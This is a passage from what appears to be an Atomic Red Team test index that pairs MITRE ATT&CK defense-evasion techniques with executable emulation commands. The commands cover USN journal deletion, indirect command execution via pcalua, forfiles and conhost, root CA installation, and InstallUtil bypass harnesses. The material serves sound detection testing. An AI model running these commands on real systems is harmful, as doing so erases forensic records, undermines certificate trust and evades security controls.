          then sed -i '$ a #art_test_1562_006_2' /etc/syslog-ng/#{syslog_ng_config_file_name}
          fi
        cleanup_command: |
          if [ -f "/etc/#{syslog_config_file_name}" ];
          then sed -i '$ d' /etc/#{syslog_config_file_name}
          fi
          if [ -f "/etc/#{rsyslog_config_file_name}" ];
          then sed -i '$ d' /etc/#{rsyslog_config_file_name}
          fi
          if [ -f "/etc/syslog-ng/#{syslog_ng_config_file_name}" ];
          then sed -i '$ d' /etc/syslog-ng/#{syslog_ng_config_file_name}
          fi
        name: bash
        elevation_required: true
  T1027.005:
    technique:
      id: attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92
      description: |-
        Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.

        A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.
      name: Indicator Removal from Tools
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1027.005
        url: https://attack.mitre.org/techniques/T1027/005
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-03-29T21:03:09.766Z'
      created: '2020-03-19T21:27:32.820Z'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_detection: The first detection of a malicious tool may trigger an anti-virus
        or other security tool alert. Similar events may also occur at the boundary
        through network IDS, email scanning appliance, etc. The initial detection
        should be treated as an indication of a potentially more invasive intrusion.
        The alerting system should be thoroughly investigated beyond that initial
        alert for activity that was not detected. Adversaries may continue with an
        operation, assuming that individual events like an anti-virus detect will
        not be investigated or that an analyst will not be able to conclusively link
        that event to other activity occurring on the network.
      x_mitre_defense_bypassed:
      - Anti-virus
      - Host intrusion prevention systems
      - Log analysis
      - Signature-based detection
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1070:
    technique:
      id: attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Indicator Removal on Host
      description: |-
        Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*.

        These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This that may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.
      external_references:
      - source_name: mitre-attack
        external_id: T1070
        url: https://attack.mitre.org/techniques/T1070
      - external_id: CAPEC-93
        source_name: capec
        url: https://capec.mitre.org/data/definitions/93.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-24T13:35:09.065Z'
      created: '2017-05-31T21:30:55.892Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Containers
      x_mitre_detection: File system monitoring may be used to detect improper deletion
        or modification of indicator files.  Events not stored on the file system
        may require different detection mechanisms.
      x_mitre_defense_bypassed:
      - Log analysis
      - Host intrusion prevention systems
      - Anti-virus
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Deletion'
      - 'File: File Modification'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Windows Registry: Windows Registry Key Deletion'
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      - 'Network Traffic: Network Traffic Content'
      - 'User Account: User Account Authentication'
      - 'File: File Metadata'
      x_mitre_contributors:
      - Brad Geesaman, @bradgeesaman
      - Ed Williams, Trustwave, SpiderLabs
      x_mitre_version: '1.2'
      identifier: T1070
    atomic_tests:
    - name: Indicator Removal using FSUtil
      auto_generated_guid: b4115c7a-0e92-47f0-a61e-17e7218b2435
      description: |
        Manages the update sequence number (USN) change journal, which provides a persistent log of all changes made to files on the volume. Upon execution, no output
        will be displayed. More information about fsutil can be found at https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn
      supported_platforms:
      - windows
      executor:
        command: 'fsutil usn deletejournal /D C:

'
        cleanup_command: 'fsutil usn createjournal m=1000 a=100 c:

'
        name: command_prompt
        elevation_required: true
  T1202:
    technique:
      created: '2018-04-18T17:59:24.739Z'
      modified: '2020-06-20T22:09:22.559Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      id: attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Indirect Command Execution
      description: |-
        Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)

        Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.
      external_references:
      - source_name: mitre-attack
        external_id: T1202
        url: https://attack.mitre.org/techniques/T1202
      - url: https://twitter.com/vector_sec/status/896049052642533376
        description: vector_sec. (2017, August 11). Defenders watching launches of
          cmd? What about forfiles?. Retrieved January 22, 2018.
        source_name: VectorSec ForFiles Aug 2017
      - url: https://twitter.com/Evi1cg/status/935027922397573120
        description: Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved
          January 22, 2018.
        source_name: Evi1cg Forfiles Nov 2017
      - url: https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe
        description: Partington, E. (2017, August 14). Are you looking out for forfiles.exe
          (if you are watching for cmd.exe). Retrieved January 22, 2018.
        source_name: RSA Forfiles Aug 2017
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      x_mitre_permissions_required:
      - User
      x_mitre_detection: 'Monitor and analyze logs from host-based detection mechanisms,
        such as Sysmon, for events such as process creations that include or are resulting
        from parameters associated with invoking programs/commands/files and/or spawning
        child processes/network connections. (Citation: RSA Forfiles Aug 2017)'
      x_mitre_defense_bypassed:
      - Static File Analysis
      - Application control
      - Application control by file name or path
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_contributors:
      - Matthew Demaske, Adaptforward
      x_mitre_version: '1.1'
      identifier: T1202
    atomic_tests:
    - name: Indirect Command Execution - pcalua.exe
      auto_generated_guid: cecfea7a-5f03-4cdd-8bc8-6f7c22862440
      description: |
        The Program Compatibility Assistant (pcalua.exe) may invoke the execution of programs and commands from a Command-Line Interface.
        [Reference](https://twitter.com/KyleHanslovan/status/912659279806640128)
        Upon execution, calc.exe should open
      supported_platforms:
      - windows
      input_arguments:
        payload_path:
          description: Path to payload
          type: Path
          default: C:\Windows\System32\calc.exe
        process:
          description: Process to execute
          type: String
          default: calc.exe
      executor:
        command: |
          pcalua.exe -a #{process}
          pcalua.exe -a #{payload_path}
        name: command_prompt
    - name: Indirect Command Execution - forfiles.exe
      auto_generated_guid: 8b34a448-40d9-4fc3-a8c8-4bb286faf7dc
      description: |
        forfiles.exe may invoke the execution of programs and commands from a Command-Line Interface.
        [Reference](https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Forfiles.yml)
        "This is basically saying for each occurrence of notepad.exe in c:\windows\system32 run calc.exe"
        Upon execution calc.exe will be opened.
      supported_platforms:
      - windows
      input_arguments:
        process:
          description: Process to execute
          type: String
          default: calc.exe
      executor:
        command: 'forfiles /p c:\windows\system32 /m notepad.exe /c #{process}

'
        name: command_prompt
    - name: Indirect Command Execution - conhost.exe
      auto_generated_guid: cf3391e0-b482-4b02-87fc-ca8362269b29
      description: |
        conhost.exe refers to a host process for the console window. It provide an interface between command prompt and Windows explorer.
        Executing it through command line can create process ancestry anomalies
        [Reference] (http://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/)
      supported_platforms:
      - windows
      input_arguments:
        process:
          description: Process to execute
          type: String
          default: notepad.exe
      executor:
        command: 'conhost.exe "#{process}"

'
        name: command_prompt
  T1553.004:
    technique:
      id: attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839
      description: |-
        Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.

        Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)

        Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)

        Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)

        In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)
      name: Install Root Certificate
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1553.004
        url: https://attack.mitre.org/techniques/T1553/004
      - external_id: CAPEC-479
        source_name: capec
        url: https://capec.mitre.org/data/definitions/479.html
      - url: https://en.wikipedia.org/wiki/Root_certificate
        description: Wikipedia. (2016, December 6). Root certificate. Retrieved February
          20, 2017.
        source_name: Wikipedia Root Certificate
      - url: http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf
        description: Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding
          Holes Operation Emmental. Retrieved February 9, 2016.
        source_name: Operation Emmental
      - url: https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/
        description: 'Onuma. (2015, February 24). Superfish: Adware Preinstalled on
          Lenovo Laptops. Retrieved February 20, 2017.'
        source_name: Kaspersky Superfish
      - url: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
        description: Graeber, M. (2017, December 22). Code Signing Certificate Cloning
          Attacks and Defenses. Retrieved April 3, 2018.
        source_name: SpectorOps Code Signing Dec 2017
      - url: https://objective-see.com/blog/blog_0x26.html
        description: Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March
          19, 2018.
        source_name: objective-see ay mami 2018
      - url: https://docs.microsoft.com/sysinternals/downloads/sigcheck
        description: Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April
          3, 2018.
        source_name: Microsoft Sigcheck May 2017
      - url: https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/
        description: 'Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker.
          Retrieved December 19, 2017.'
        source_name: Tripwire AppUNBlocker
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-03-19T20:31:11.389Z'
      created: '2020-02-21T21:05:32.844Z'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_contributors:
      - Matt Graeber, @mattifestation, SpecterOps
      - Red Canary
      - Travis Smith, Tripwire
      - Itzik Kotler, SafeBreach
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_detection: |-
        A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (<code>sigcheck[64].exe -tuv</code>) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)

        Installed root certificates are located in the Registry under <code>HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\</code> and <code>[HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)

        * 18F7C1FCC3090203FD5BAA2F861A754976C8DD25
        * 245C97DF7514E7CF2DF8BE72AE957B9E04741E85
        * 3B1EFD3A66EA28B16697394703A72CA340A05BD5
        * 7F88CD7223F3C813818C994614A89C99FA3B5247
        * 8F43288AD272F3103B6FB1428485EA3014C0BCFE
        * A43489159A520F0D93D032CCAF37E7FE20A8B419
        * BE36A4562FB2EE05DBB3D32323ADF445084ED656
        * CDD4EEAE6000AC7F40C3802C171E30148030C072
      x_mitre_defense_bypassed:
      - Digital Certificate Validation
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1553.004
    atomic_tests:
    - name: Install root CA on CentOS/RHEL
      auto_generated_guid: 9c096ec4-fd42-419d-a762-d64cc950627e
      description: 'Creates a root CA with openssl

'
      supported_platforms:
      - linux
      input_arguments:
        cert_filename:
          description: Path of the CA certificate we create
          type: Path
          default: rootCA.crt
        key_filename:
          description: Key we create that is used to create the CA certificate
          type: Path
          default: rootCA.key
      executor:
        command: |
          openssl genrsa -out #{key_filename} 4096
          openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out #{cert_filename}
          cp #{cert_filename} /etc/pki/ca-trust/source/anchors/
          update-ca-trust
        cleanup_command: |
          rm /etc/pki/ca-trust/source/anchors/#{cert_filename}
          update-ca-trust
        name: sh
        elevation_required: true
    - name: Install root CA on Debian/Ubuntu
      auto_generated_guid: 53bcf8a0-1549-4b85-b919-010c56d724ff
      description: 'Creates a root CA with openssl

'
      supported_platforms:
      - linux
      input_arguments:
        cert_filename:
          description: CA file name
          type: Path
          default: rootCA.crt
        key_filename:
          description: Key we create that is used to create the CA certificate
          type: Path
          default: rootCA.key
      dependency_executor_name: sh
      dependencies:
      - description: 'Verify the certificate exists. It generates if not on disk.

'
        prereq_command: 'if [ -f #{cert_filename} ]; then exit 0; else exit 1; fi;

'
        get_prereq_command: |
          if [ ! -f #{key_filename} ]; then openssl genrsa -out #{key_filename} 4096; fi;
          openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out #{cert_filename}
      executor:
        command: |
          mv #{cert_filename} /usr/local/share/ca-certificates
          echo sudo update-ca-certificates
        name: sh
        elevation_required: true
    - name: Install root CA on macOS
      auto_generated_guid: cc4a0b8c-426f-40ff-9426-4e10e5bf4c49
      description: 'Creates a root CA with openssl

'
      supported_platforms:
      - macos
      input_arguments:
        cert_filename:
          description: CA file name
          type: Path
          default: rootCA.crt
        key_filename:
          description: Key we create that is used to create the CA certificate
          type: Path
          default: rootCA.key
      dependency_executor_name: sh
      dependencies:
      - description: 'Verify the certificate exists. It generates if not on disk.

'
        prereq_command: 'if [ -f #{cert_filename} ]; then exit 0; else exit 1; fi;

'
        get_prereq_command: |
          if [ ! -f #{key_filename} ]; then openssl genrsa -out #{key_filename} 4096; fi;
          openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out #{cert_filename}
      executor:
        command: 'sudo security add-trusted-cert -d -r trustRoot -k "/Library/Keychains/System.keychain"
          "#{cert_filename}"

'
        name: sh
        elevation_required: true
    - name: Install root CA on Windows
      auto_generated_guid: 76f49d86-5eb1-461a-a032-a480f86652f1
      description: 'Creates a root CA with Powershell

'
      supported_platforms:
      - windows
      input_arguments:
        pfx_path:
          description: Path of the certificate
          type: Path
          default: rootCA.cer
      dependency_executor_name: powershell
      dependencies:
      - description: 'Verify the certificate exists. It generates if not on disk.

'
        prereq_command: 'if (Test-Path #{pfx_path}) { exit 0 } else { exit 1 }

'
        get_prereq_command: |
          $cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My
          Export-Certificate -Type CERT -Cert  Cert:\LocalMachine\My\$($cert.Thumbprint) -FilePath #{pfx_path}
          Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) | Remove-Item
      executor:
        command: |
          $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My
          Move-Item -Path $cert.PSPath -Destination "Cert:\LocalMachine\Root"
        cleanup_command: |
          try {
             $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My -ErrorAction Ignore
             Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
             Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
          }
          catch { }
        name: powershell
        elevation_required: true
    - name: Install root CA on Windows with certutil
      auto_generated_guid: 5fdb1a7a-a93c-4fbe-aa29-ddd9ef94ed1f
      description: 'Creates a root CA with certutil

'
      supported_platforms:
      - windows
      input_arguments:
        pfx_path:
          description: Path of the certificate
          type: Path
          default: "$env:Temp\\rootCA2.cer"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Certificate must exist at specified location (#{pfx_path})

'
        prereq_command: 'if (Test-Path #{pfx_path}) { exit 0 } else { exit 1 }

'
        get_prereq_command: |
          $cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My
          Export-Certificate -Type CERT -Cert  Cert:\LocalMachine\My\$($cert.Thumbprint) -FilePath #{pfx_path}
          Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) | Remove-Item
      executor:
        command: 'certutil -addstore my #{pfx_path}

'
        cleanup_command: |
          try {
          $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My
          Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
          Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
          } catch { }
        name: powershell
        elevation_required: true
  T1218.004:
    technique:
      id: attack-pattern--2cd950a6-16c4-404a-aa01-044322395107
      description: |-
        Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe</code> and <code>C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe</code>.

        InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)
      name: InstallUtil
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1218.004
        url: https://attack.mitre.org/techniques/T1218/004
      - source_name: MSDN InstallUtil
        description: Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved
          July 1, 2016.
        url: https://msdn.microsoft.com/en-us/library/50614e95.aspx
      - source_name: LOLBAS Installutil
        url: https://lolbas-project.github.io/lolbas/Binaries/Installutil/
        description: LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-06-20T22:34:46.529Z'
      created: '2020-01-23T19:09:48.811Z'
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Casey Smith
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_detection: Use process monitoring to monitor the execution and arguments
        of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior
        history of known good arguments and executed binaries to determine anomalous
        and potentially adversarial activity. Command arguments used before and after
        the InstallUtil.exe invocation may also be useful in determining the origin
        and purpose of the binary being executed.
      x_mitre_defense_bypassed:
      - Digital Certificate Validation
      - Application control
      x_mitre_permissions_required:
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1218.004
    atomic_tests:
    - name: CheckIfInstallable method call
      auto_generated_guid: ffd9c807-d402-47d2-879d-f915cf2a3a94
      description: |
        Executes the CheckIfInstallable class constructor runner instead of executing InstallUtil. Upon execution, the InstallUtil test harness will be executed.
        If no output is displayed the test executed successfuly.
      supported_platforms:
      - windows
      input_arguments:
        test_harness:
          description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly
          type: Path
          default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1
        assembly_dir:
          description: directory to drop the compiled installer assembly
          type: Path
          default: "$Env:TEMP\\"
        invocation_method:
          description: the type of InstallUtil invocation variant - Executable, InstallHelper,
            or CheckIfInstallable
          type: String
          default: CheckIfInstallable
        assembly_filename:
          description: filename of the compiled installer assembly
          type: String
          default: T1218.004.dll
      dependencies:
      - description: 'InstallUtil test harness script must be installed at specified
          location (#{test_harness})

'
        prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"
      executor:
        command: |
          # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
          . #{test_harness}

          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

          $ExpectedOutput = 'Constructor_'

          $TestArgs = @{
              OutputAssemblyDirectory = $InstallerAssemblyDir
              OutputAssemblyFileName = $InstallerAssemblyFileName
              InvocationMethod = '#{invocation_method}'
          }

          $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly

          if ($ActualOutput -ne $ExpectedOutput) {
              throw @"
          CheckIfInstallable method execution test failure. Installer assembly execution output did not match the expected output.
          Expected: $ExpectedOutput
          Actual: $ActualOutput
          "@
          }
        cleanup_command: |
          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
          Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore
        name: powershell
    - name: InstallHelper method call
      auto_generated_guid: d43a5bde-ae28-4c55-a850-3f4c80573503
      description: |
        Executes the InstallHelper class constructor runner instead of executing InstallUtil. Upon execution, no output will be displayed if the test
        executed successfuly.
      supported_platforms:
      - windows
      input_arguments:
        test_harness:
          description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly
          type: Path
          default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1
        assembly_dir:
          description: directory to drop the compiled installer assembly
          type: Path
          default: "$Env:TEMP\\"
        invocation_method:
          description: the type of InstallUtil invocation variant - Executable, InstallHelper,
            or CheckIfInstallable
          type: String
          default: InstallHelper
        assembly_filename:
          description: filename of the compiled installer assembly
          type: String
          default: T1218.004.dll
      dependencies:
      - description: 'InstallUtil test harness script must be installed at specified
          location (#{test_harness})

'
        prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"
      executor:
        command: |
          # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
          . #{test_harness}

          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

          $CommandLine = "/logfile= /logtoconsole=false `"$InstallerAssemblyFullPath`""
          $ExpectedOutput = 'Constructor_'

          $TestArgs = @{
              OutputAssemblyDirectory = $InstallerAssemblyDir
              OutputAssemblyFileName = $InstallerAssemblyFileName
              InvocationMethod = '#{invocation_method}'
              CommandLine = $CommandLine
          }

          $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly

          if ($ActualOutput -ne $ExpectedOutput) {
              throw @"
          InstallHelper method execution test failure. Installer assembly execution output did not match the expected output.
          Expected: $ExpectedOutput
          Actual: $ActualOutput
          "@
          }
        cleanup_command: |
          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
          Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore
        name: powershell
    - name: InstallUtil class constructor method call
      auto_generated_guid: 9b7a7cfc-dd2e-43f5-a885-c0a3c270dd93
      description: 'Executes the installer assembly class constructor. Upon execution,
        version information will be displayed the .NET framework install utility.

'
      supported_platforms:
      - windows
      input_arguments:
        test_harness:
          description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly
          type: Path
          default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1
        assembly_dir:
          description: directory to drop the compiled installer assembly
          type: Path
          default: "$Env:TEMP\\"
        invocation_method:
          description: the type of InstallUtil invocation variant - Executable, InstallHelper,
            or CheckIfInstallable
          type: String
          default: Executable
        assembly_filename:
          description: filename of the compiled installer assembly
          type: String
          default: T1218.004.dll
      dependencies:
      - description: 'InstallUtil test harness script must be installed at specified
          location (#{test_harness})

'
        prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"
      executor:
        command: |
          # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
          . #{test_harness}

          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

          $CommandLine = "/logfile= /logtoconsole=false `"$InstallerAssemblyFullPath`""
          $ExpectedOutput = 'Constructor_'

          $TestArgs = @{
              OutputAssemblyDirectory = $InstallerAssemblyDir
              OutputAssemblyFileName = $InstallerAssemblyFileName
              InvocationMethod = '#{invocation_method}'
              CommandLine = $CommandLine
          }

          $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly

          if ($ActualOutput -ne $ExpectedOutput) {
              throw @"
          InstallUtil class constructor execution test failure. Installer assembly execution output did not match the expected output.
          Expected: $ExpectedOutput
          Actual: $ActualOutput
          "@
          }
        cleanup_command: |
          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
          Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore
        name: powershell
    - name: InstallUtil Install method call
      auto_generated_guid: 9f9968a6-601a-46ca-b7b7-6d4fe0f98f0b
      description: 'Executes the Install Method. Upon execution, version information
        will be displayed the .NET framework install utility.

'
      supported_platforms:
      - windows
      input_arguments:
        test_harness:
